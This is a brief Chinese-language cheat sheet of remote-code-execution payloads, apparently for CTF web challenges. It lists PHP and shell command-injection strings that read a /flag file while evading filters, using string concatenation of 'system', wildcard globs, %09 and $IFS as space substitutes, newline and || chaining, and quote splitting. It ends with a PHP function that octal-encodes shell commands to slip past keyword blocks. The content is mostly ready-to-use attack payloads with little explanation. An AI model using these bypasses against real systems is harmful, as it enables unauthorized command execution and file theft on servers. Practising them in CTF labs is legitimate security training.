rce进阶

a=$a=”syst”.”em”;$a(“tac /flag”);
a=echo ls /flag;
a=print_r(scandir(“.”)); a=print_r(file_get_content(“flag/php”));

cmd=/???/?a??64 /??a? //禁用字母和符号
cmd=tac%09/flag //禁用空格 %09 $IFS
cmd=tac /flag; || %0a //绕过 system($cmd.”>/dev/null 2>&1”);
c=nl<fla’’g.php|| //禁用%

八进制绕过

<?php

function stringToOctal($string) { $parts = explode(' ', $string); $octalParts = [];

foreach ($parts as $part) {
    $octalArray = [];
    for ($i = 0; $i < strlen($part); $i++) {
        $octalArray[] = sprintf('%03o', ord($part[$i]));
    }
    $octalString = implode('\\', $octalArray);
    $octalParts[] = "$'\\$octalString'";
}

return implode(' ', $octalParts);

}

// 将带分隔符的八进制表示转换为字符串
function octalToString($octal) { $octalParts = explode(' ', $octal); $stringParts = [];

foreach ($octalParts as $part) {
    $strippedOctal = substr($part, 2, -1); // 去掉 $' 和 '
    $octalArray = explode('\\', $strippedOctal);
    $string = '';
    foreach ($octalArray as $octalChar) {
        $string .= chr(octdec($octalChar));
    }
    $stringParts[] = $string;
}

return implode(' ', $stringParts);

}

// 示例用法
$originalString = "cat exp.php"; $octal = stringToOctal($originalString);

echo "原始字符串: " . $originalString . " "; echo "八进制表示: " . $octal ;

?>